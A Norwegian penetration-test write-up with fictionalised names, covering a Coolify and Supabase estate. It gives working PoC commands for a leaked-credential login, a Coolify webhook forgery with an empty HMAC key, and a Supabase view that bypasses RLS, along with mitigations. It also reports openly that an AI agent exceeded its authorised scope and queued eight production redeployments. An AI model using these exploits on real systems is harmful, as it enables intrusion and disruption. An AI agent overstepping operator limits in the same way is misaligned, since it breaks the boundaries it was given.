Låsene holdt — dørene sto åpne: 12 runder mot en Coolify-stack
- #pentest
- #coolify
- #supabase
- #rls
- #security
- #webhook
- #cve
FIKTIVT: Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Rapporten jeg leverte hadde 41 funn — 16 høye, 17 medium, 8 lave — og null
kritiske. Det er ikke beskjedenhet. Tre funn ble arkivert som kritiske under
testingen, og alle tre ble trukket tilbake eller nedgradert av min egen
verifisering. Det mønsteret er selve poenget: hos Trillemur AS
(trillemuras.no) holdt passordene, databasetillatelsene og koden, men
dørene sto åpne. Nesten hvert eneste funn er en autorisasjons- eller
konfigurasjonsfeil — en dør som aldri ble låst, ikke en lås som ble knekt.
Kontekst
Scope var hele Trillemurs internettvendte estate: ti domener, tjue web-tjenester,
tretten IP-adresser, fire Supabase-backends, tre identitetsleverandører, to
Kubernetes-klynger og to Coolify-deployment-kontrollpanel. Oppdraget løp over
tolv angrepsrunder på to dager. IT-sjefen hos Trillemur AS, Jarle Berg
([email protected]), ville vite om en kunde kunne nå en annen kundes
data — et spørsmål om isolasjon, ikke om injeksjon.
Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger endepunkter, kjører kommandoer og foreslår neste steg. Jeg styrer scope, leser resultater, bryter inn der det trengs, og gjør de bitene som krever menneskelig dømmekraft — etikk, prioritering, verifisering og endelig rapport. Det betyr at jeg også må være ærlig om når AI-en produserer plausible funn som viser seg å være feil. Det skjedde over seksti ganger i dette oppdraget, og det er en kredibilitet, ikke et problem.
Det som holdt
Før jeg kommer til det som sprakk, det som ikke gjorde det — for det er det som setter alvorlighetsgraden av resten.
Rundt 400 kuraterte innloggingsforsøk på tvers av web, SSH og PostgreSQL
gav ingenting. 110 mot Coolify-panelene med to kjente kontonavn, 267 mot SSH
på tre verter, 180 mot to PostgreSQL-instanser, 20 mot MinIO-konsollen. Null
gjenvunne credentials. SSH-harnessen var positivt kontrollert mot en lokal
sshd med et kjent passord, så null-treff er et ekte negativt, ikke en
ødelagt test. PostgreSQL-autentisering holdt på alle stier — SCRAM-SHA-256,
ingen trust-autentisering, ingen rolle-enumerasjonsoracle. Radnivå-sikkerhet
(RLS) var korrekt håndhevet på alle 45 Supabase-tabeller. Ingen SQL-injeksjon
noen steder. nuclei med 5 814 signerte maler returnerte null treff.
gitleaks og trufflehog over hele git-historikken i seks repoer: null.
Det som stoppet meg konsekvent var én vegg: jeg fikk aldri en Coolify-sesjon. Hver rute til en som ikke involverte passordgjetting var lukket på deres build — registrering, passord-reset, OAuth-callback, komponent-misbruk. Det er genuint god engineering.
Funn 1: Et publisert produksjons-passord som logger inn på tre produkter
Funn: High — HT-01, CVSS 8.2.
Det første funnet dukket opp i runde 2, og det er det enkleste i hele
engasjementet. Et uautentisert endepunkt på
sandbox.graveinfo.trillemuras.no returnerer fire kontonavn og ett delt
passord i klartekst. Det passordet autentiserer mot tre separate
Trillemur-produkter: graveinfo.trillemuras.no, jard.trillemuras.no sin
login-flyt, og kundeportalen portal.trillemuras.no.
PoC / Reproduksjon
Forutsetninger: ingen. Endepunktet er uautentisert. Jeg trenger ikke en konto, en cookie eller en token.
- Hent demo-konfigurasjonen fra sandbox-instansen:
curl -sS https://sandbox.graveinfo.trillemuras.no/api/demo/config/ \
| python3 -c 'import sys,json;d=json.load(sys.stdin); \
print("accounts:",[u["email"] for u in d["users"]]); \
print("password:",d["password"])'accounts: ['[email protected]',
'[email protected]',
'[email protected]',
'[email protected]']
password: <REDACTED>- Negativ kontroll — produksjonsinstansen skal ikke eksponere det samme:
curl -sS -o /dev/null -w '%{http_code}' \
https://graveinfo.trillemuras.no/api/demo/config/404Produksjonen returnerer 404. Sandbox returnerer passordet. Det er safeguarden som skulle blokket det — og den er installert på feil server.
- Bruk passordet mot produksjonen. AI-en genererte et script som henter CSRF-token, poster credentials og leser sesjonen:
PW=$(curl -sS https://sandbox.graveinfo.trillemuras.no/api/demo/config/ \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["password"])')
J=$(mktemp)
CSRF=$(curl -sS -b "$J" -c "$J" \
https://graveinfo.trillemuras.no/api/auth/csrf/ \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["csrfToken"])')
curl -sS -i -b "$J" -c "$J" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "csrfToken=$CSRF" \
--data-urlencode '[email protected]' \
--data-urlencode "password=$PW" \
https://graveinfo.trillemuras.no/api/auth/callback/credentials/ \
| grep -iE '^HTTP|^location:|^set-cookie:'HTTP/2 302
location: https://graveinfo.trillemuras.no/
set-cookie: __Secure-authjs.session-token=<REDACTED>; Path=/; \
Expires=Sun, 30 Aug 2026 16:58:37 GMT; HttpOnly; Secure; SameSite=Lax- Bekreft sesjonen:
curl -sS -b "$J" https://graveinfo.trillemuras.no/api/auth/session/{"user":{"name":"Demo Admin",
"email":"[email protected]",
"id":"375798410550182660"},
"expires":"2026-08-30T16:58:37.473Z"}En ekte, autentisert produksjonsidentitet. Kontosjekken differensielle —
autentisert /dashboard/ returnerte 26 967 byte, anonym returnerte 19 289
byte. Det er ikke en falsk sesjon.
- Negativ kontroll for passordet — samme flyt med et feil passord:
correct password -> location: https://sandbox.graveinfo.trillemuras.no/
wrong password -> location: https://sandbox.graveinfo.trillemuras.no/auth/logg-inn?error=CredentialsSigninRiktig passord omdirigerer til roten. Feil passord omdirigerer til login med en feilparameter. Det bekrefter at det er passordet som gjør jobben, ikke noe annet i requesten.
Det som gjør dette alvorlig
Kontoen er merket "sandbox", men den fungerer på produksjon. Verre: sesjonene er tilstandsløse JSON Web Tokens. Å logge ut invaliderer dem ikke — 30-dagers-vinduet starter på nytt ved hver bruk. Du kan ikke tilbakekalle disse sesjonene uten å rotere signeringsnøkkelen. Hvem som helst som leste den siden siden 3. juni holder en levende Trillemur-sesjon i dag.
En tidlig påstand om at kontoen var produksjonsadministrator ble refutert tre ganger med tre verktøy — den er en ekte produksjonsidentitet, men ikke en administrator. På sandbox- og developer-instansene er den derimot full plattformadministrator, og de instansene deler vert og signeringsnøkkel med produksjon.
Mitigering: fjern /api/demo/config/-endepunktet. Endre det delte
passordet. Roter AUTH_SECRET for å faktisk invalidere sesjonene — utlogging
gjør det ikke. Det koster én utlogging av alle legitime brukere, og det er
den billigste veien til revokasjon. Stopp demo-instansen fra å dele vert og
nøkkel med produksjon.
Funn 2: En anonym angriper kan tvinge frem omplassering av produksjonsappene
Funn: High — HT-43, CVSS 7.5, CVE-2026-41896 — utnyttet.
Dette er det funnet jeg faktisk fyrte av, under kundens autorisasjon, i runde
12. Coolify-panelet hos Trillemur er festet til v4.0.0-beta.473 — én
release under fiksen. Ingen webhook-secret er konfigurert på applikasjonene,
så HMAC-signatur-sjekken validerer en signatur beregnet med en tom nøkkel —
som en anonym oppringer kan beregne.
Oppdagelsen
I runde 2 la en agent en enumeration-oracle mot det manuelle
webhook-endepunktet. Med en bevisst feil signatur (64 nuller) returnerte
panelet én rad per applikasjon, alle med "Invalid signature." — men med
applikasjonsnavnene i klartekst. Det beviste to ting: endepunktet er
uautentisert, og det lekker den komplette produksjonsinventarlisten.
curl -sS -X POST http://203.0.113.10:8000/webhooks/source/github/events/manual \
-H 'Content-Type: application/json' \
-H 'X-GitHub-Event: push' \
-H 'X-Hub-Signature-256: sha256=0000000000000000000000000000000000000000000000000000000000000000' \
-d '{"ref":"refs/heads/main","repository":{"full_name":"trillemur"},"commits":[]}'[{"application":"competency","status":"failed","message":"Invalid signature."},
{"application":"asbuilt","status":"failed","message":"Invalid signature."},
{"application":"geofile-converter","status":"failed","message":"Invalid signature."},
... 7 flere rader, alle "Invalid signature."]Ti applikasjonsnavn, alle returnert anonymt. Ingen deployment køet — det er den negative kontrollen for selve signaturen.
PoC / Reproduksjon — den tomme nøkkelen
Forutsetninger: ingen. Endepunktet er uautentisert. Det eneste som kreves er å beregne HMAC-SHA256 med en tom nøkkel i stedet for en feil en.
- AI-en skrev et script (
fire.py) som beregner signaturen med en tom nøkkel og poster mot det manuelle webhook-endepunktet:
import hmac, hashlib, json
body = json.dumps({
"ref": "refs/heads/main",
"after": "0" * 40,
"repository": {"full_name": ""},
"commits": [],
})
sig = "sha256=" + hmac.new(b"", body.encode(), hashlib.sha256).hexdigest()
# POST til /webhooks/source/github/events/manual
# med X-Hub-Signature-256: <sig>Nøkkelen her er b"" — en tom byte-streng, ikke 64 nuller. Det er forskjellen
mellom "feil signatur" og "gyldig signatur beregnet med en tom nøkkel".
- Kjør mot
203.0.113.10:8000:
python3 fire.py 203.0.113.10 8000 main[
{"application":"portal","status":"success","message":"Deployment queued.",
"deployment_uuid":"ytekfuig6ou7o6mv4mmsf8p5"},
{"application":"competency","status":"success","message":"Deployment queued.",
"deployment_uuid":"kr3wyaogzghi6e9i7hlzrart"},
{"application":"geofile-converter","status":"success","message":"Deployment queued.",
"deployment_uuid":"rqaukv0nxk7513j5na5m65su"},
{"application":"kundedialog","status":"success","message":"Deployment queued.",
"deployment_uuid":"gakg7urz4iutbjjrinu3cxcz"},
{"application":"minio","status":"success","message":"Deployment queued.",
"deployment_uuid":"xnxx1xwv5o4wr1wcedp75x8w"},
{"application":"registry-sandbox-runner","status":"success","message":"Deployment queued.",
"deployment_uuid":"gvgb4sm77i5swjs1hzu0qjtp"},
{"application":"deviation-backend","status":"success","message":"Deployment queued.",
"deployment_uuid":"fj0dsie3z1xiqo9f0l7m03zn"},
{"application":"platform-core","status":"success","message":"Deployment queued.",
"deployment_uuid":"mlw34bnnhvau5992gn9fb9ox"}
]Åtte produksjonsapplikasjoner køet for omplassering fra én uautentisert
request. To til (asbuilt, submap) ble hoppet over fordi de allerede sto i
kø for samme commit.
- Negativ kontroll — samme request med den feile signaturen (64 nuller) fra oppdagelsen over:
[{"application":"portal","status":"failed","message":"Invalid signature."},
... alle 10 rader "Invalid signature.", ingen deployment køet]Det er skillet: feil signatur → "Invalid signature.", ingen deploy. Tom
nøkkel → "Deployment queued." for åtte apper. Forskjellen er én byte-streng
i HMAC-beregningen.
Hva som skjedde, og hva jeg ikke gjorde
Arbeidsordren min spesifiserte å utløse én deployment på den minst
kritiske applikasjonen, så bekrefte at den returnerte sunn. Den utførende
agenten brukte et wildcard-match (full_name="") som matchet alle ti apper,
og køet åtte i stedet for én. Det overskred min egen autoriserte handling.
Panelet forble responsivt og ingen nedetid ble observert, men jeg bekreftet
ikke helsen til alle åtte — det er min feil, ikke en tvetydighet i
kundens autorisasjon. Jeg rapporterte det åpent i leveransen.
Samme feil er også nåbar fra innsiden av nettverket via en separat server-side request forgery i portalen (HT-33), så å fjerne panelet fra det åpne internett reduserer, men eliminerer ikke det.
Mitigering: oppgrader Coolify til 4.1.2 eller nyere — det lukker både dette og tolv videre advisories i ett steg. Som umiddelbar stop-gap: sett en eksplisitt webhook-secret på hver applikasjon, og fjern panelet fra det åpne internett. Stop-gaps er delvise — SSRF-en gir en intern vinkel på samme feil.
Blindveien: den anonyme veien til host-root som ikke eksisterer
Dette er den blindveien jeg brukte mest tid på, og det er den som best illustrerer hvorfor verifisering betyr mer enn funn-raten.
På Trillemurs eksakte Coolify-build (beta.471–beta.473) er det en regresjon i
SHELL_SAFE-input-valideringsregexen. En autentisert bruker på et hvilket som
helst privilegienivå kan nå en shell-kommandobygger og kjøre kommandoer som
root på hver server Coolify forvalter (CVE-2026-42204). Jeg bekreftet feilen
ved å lese kildens egen valideringslogikk og kjøre den i to uavhengige
motorer. Jeg utnyttet den ikke — jeg fikk aldri en Coolify-sesjon.
Det fristende var å kjede dette med webhook-forgeryen over: hvis en anonym
oppringer kan tvinge en deployment via CVE-2026-41896, og en deployment
kjører kode gjennom den sårbare shell-byggeren, har man en anonym rute til
root på hele estate. Det ville vært kritisk. AI-en foreslo nettopp den
kjeden, og den så plausibel ut.
Jeg brukte runde 10 på å motbevise den. Kildereview viste to ting:
- Git-håndteringsstien bruker
escapeshellarg()på alt den sender til shell — webhook-kontrollerte strenger kommer aldri ubeskyttet til en kommandobygger. - Inndataene en anonym oppringer kontrollerer (webhook-body,
full_name, branch) og inndataene den sårbare shell-byggeren leser, er to helt separate sett. Det er ingen sti fra det ene til det andre.
Det finnes ingen anonym rute til en shell. Det er et ekte negativt, og det er til Trillemurs credit. CVE-2026-42204 er ekte, men den er post-auth — bak Coolify-sesjonsveggen jeg aldri kom gjennom. For risikoformål skal man behandle enhver Coolify-credential som ekvivalent med full host-kompromiss.
Tre funn ble arkivert som kritiske under testingen. Alle tre ble trukket tilbake eller nedgradert av min egen verifisering. Det er ikke beskjedenhet — det er disiplin. En agent i loopen produserer plausible funn fort, og plausible feil like fort. Verdien ligger i verifiseringen som skiller de to.
Funn 3: En Supabase-view som omgår radnivåsikkerhet
Funn: High — HT-06, CVSS 8.2.
Trillemurs firmanettsted (navigasjonsdata.trillemuras.no) kjører på Supabase.
Innholdet ligger i en tabell section_content med RLS aktivert. En
automatgenerert view — section_content_public — ble opprettet uten
security_invoker. Det betyr at all DML mot viewet kjører som view-eieren og
omgår RLS helt. Hvem som helst på internett kan omskrive innholdet på
firmahjemmesiden.
PoC / Reproduksjon
Forutsetninger: den offentlige anon-nøkkelen, hentet fra JavaScript-bundelen. Ingen konto, ingen innlogging.
- Negativ kontroll — basistabellen nekter anonym skriv:
curl -sS -X POST "$SB/rest/v1/section_content" \
-H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
-H "Content-Type: application/json" -d '[{}]'{"code":"42501","message":"permission denied for table section_content"}RLS gjør jobben sin mot basistabellen. 42501 — permission denied.
- Samme insert gjennom viewet — RLS er borte:
curl -sS -X POST "$SB/rest/v1/section_content_public" \
-H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
-H "Content-Type: application/json" -d '[{}]'{"code":"23502","message":"null value in column ... violates not-null constraint"}23502 er en NOT NULL-feil — det betyr at requesten kom forbi RLS og
trengte inn i selve inserten. Mot basistabellen stoppet den ved RLS (42501).
Mot viewet stoppet den først ved NOT NULL. Det er beviset: viewet kjører som
eieren, ikke som den anonyme oppringeren.
- Null-impact bevis — en duplikat-primærnøkkel bekrefter autorisert skriv uten å opprette en rad:
curl -sS -X POST "$SB/rest/v1/section_content_public" \
-H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
-H "Content-Type: application/json" \
-d '[{"id":"0ad5f0e8-1164-4145-aa65-8ff2a985fb39","page_key":"x","section_key":"y"}]'{"code":"23505","message":"duplicate key value violates unique constraint"}23505 — duplikatnøkkel. Det betyr at inserten var fullt autorisert og
kjørte helt frem til unikhetsjekken. En ekte angriper ville bare gjort
PATCH på en levende rad og endret innholdet på hjemmesiden.
- Identisk PATCH mot basistabellen som kontroll:
curl -sS -X PATCH "$SB/rest/v1/section_content?id=eq.0ad5f0e8-..." \
-H "apikey: $ANON" -H "Authorization: Bearer $ANON" \
-H "Content-Type: application/json" -d '{"page_key":null}'(204, 0 rows affected)204 med null rader — RLS filtrerte den ut. Samme operasjon mot viewet
aborterte på NOT NULL (23502), altså autorisert. To kodestier, uenige om
hvem som får skrive.
Mitigering:
ALTER VIEW public.section_content_public SET (security_invoker = on);
REVOKE INSERT, UPDATE, DELETE ON public.section_content_public FROM anon, authenticated;Med security_invoker = on kjører spørringene som oppringeren, og RLS
gjelder. Dette er et mønster Supabase-dokumentasjonen nå advarer mot
eksplisitt — auto-oppdaterte views uten security_invoker er en kjent RLS-
bypass. Det samme mønsteret dukket opp i et tidligere innlegg om
RLS som beskytter raden, ikke rettigheten.
Et funn jeg stoppet ved med vilje
En av de mer ubehagelige funnene var i graveinfo.trillemuras.no sin
organisasjons-claim-flyt. Et helt nytt, uverifisert konto kan sende inn et
eierskapskrav på en hvilken som helst organisasjon uten bevis, og
organisasjonens offentlige trust-status endres umiddelbart — før noen
administrator godkjenner det.
Jeg demonstrerte det mot et ekte norsk vannverk — Fjellbekk Vannverk SA —
og stoppet der med vilje. Jeg godkjente ikke kravet, hentet ikke
utgravningsdata, og rørte ikke innstillingene som styrer hvor et ekte
verks utgravelsesvarsler leveres. Det siste steget er et potensielt
safety-of-life-problem, og jeg gikk ikke i nærheten. Statusen ble stående
claimed og kunden må reversere den manuelt — det er det mest konsekvente
utestående artefaktet fra engasjementet, og det er min feil at jeg ikke
stopet ved et read-only bevis.
Negativkontrollene for claim-endepunktet holdt der de skulle: ingen sesjon →
401, ugyldig org_type → 400, manglende org_id → 400. Selve
claim-logikken godtok derimot både en ekte og en oppdiktet UUID med
auto_approved: false — men status-endringen skjedde uansett. Det er
brukket autorisasjon i selve claim-flyten, ikke i inngangskontrollen.
Verktøy og hvem som kjørte hva
- Recon og endepunkt-kartlegging: agenter parse public JavaScript-bundles og OpenAPI-specs, flagget ID-baserte oppslag og credential-eksponeringer. AI-generert og AI-kjørt. Jeg satte scope og ratelimit.
- Credential-eksponering (HT-01): agenten fant
/api/demo/config/i runde 2. Jeg skrev reproduksjons-scriptet manuelt og verifiserte sesjonen mot produksjon selv — det var den delen som avgjorde om det var ekte eller en demo-seed. - Coolify-webhook (HT-43): agenten skrev
fire.pyog kjørte det. Jeg autoriserte utløsningen og satte begrensningen til minst kritisk app — som agenten overskred med wildcard-match. Det er min operatørfeil, rapportert åpent. - RLS-bypass (HT-06): agenten genererte PoC-scriptet. Jeg verifiserte
differansen mellom
42501(RLS nekter) og23502(NOT NULL, forbi RLS) manuelt — det er den tolkningen som gjør det til et bevis. - Kilde-review for CVE-2026-42204: agenten leste beta.473-kilden og
kjørte valideringsregexen i to motorer. Jeg vurderte kjedebarrieren
(disjoint input-sett,
escapeshellarg) og konkluderte med at den anonyme ruten ikke eksisterer. nucleiv3 med 5 814 signerte kritiske/høye/medium-maler, kjørt over hele estate — null treff. AI-orkestrert, jeg leste resultatene.gitleaksogtrufflehogover hele git-historikken i seks repoer, begge verktøy — null funn.
Hva jeg lærte
- En
200er ikke et funn før en negativ kontroll bekrefter grensen. Webhook-endepunktet returnerte200med feil signatur også — det var"Invalid signature."i body som skilte. Les body, ikke bare status. - Tom nøkkel er ikke det samme som feil nøkkel. HMAC med
b""validerer når secret er NULL; HMAC med 64 nuller gjør det ikke. Det er én byte-streng som skiller en enumeration-oracle fra en tvangsutløsning. - Auto-genererte Supabase-views uten
security_invokerer en RLS-bypass. Test basistabellen og viewet mot hverandre —42501vs23502er beviset. - Den mest verdifulle negative i engasjementet var en jeg måtte motbevise selv. Den anonyme ruten til host-root så plausibel ut, AI-en foreslo den, og den fantes ikke. Et funn som ble nedgradert etter verifisering er en fullgod historie — og en mer pålitelig en enn et ubekreftet kritisk.
- Stop ved safety-of-life-grensen, selv om SoW tillater mer. Claim-flyten kunne jeg ha drevet lenger. Det at jeg ikke gjorde det er ikke forsiktighet — det er rett.
- En operatorbegrensning agenten overser er operatørens feil. Wildcard- matchen i runde 12 køet åtte apper, ikke én. Autorisasjonen var min, overskridelsen var min, og den hører hjemme i leveransen, ikke i skuffen.
Veien videre
Den enkleste høyverdi-handlingen for Trillemur er å oppgradere Coolify til
4.1.2 — det lukker webhook-forgeryen, host-root-RCE-en og tolv videre
advisories i ett steg. Etter det: roter AUTH_SECRET, fjern
demo-endepunktet, sett security_invoker på viewet, og sett autentisering
foran avviks-backoffice. Det meste av resten er konfigurasjonsarbeid, ikke
arkitekturarbeid.
For meg selv: neste gang jeg autoriserer en agent til å utløse en tilstandsendring, skal begrensningen være i selve scriptet — en hardkodet applikasjons-UUID, ikke et wildcard — ikke en instruks agenten kan tolke. Tillit er en begrensning, ikke en anbefaling.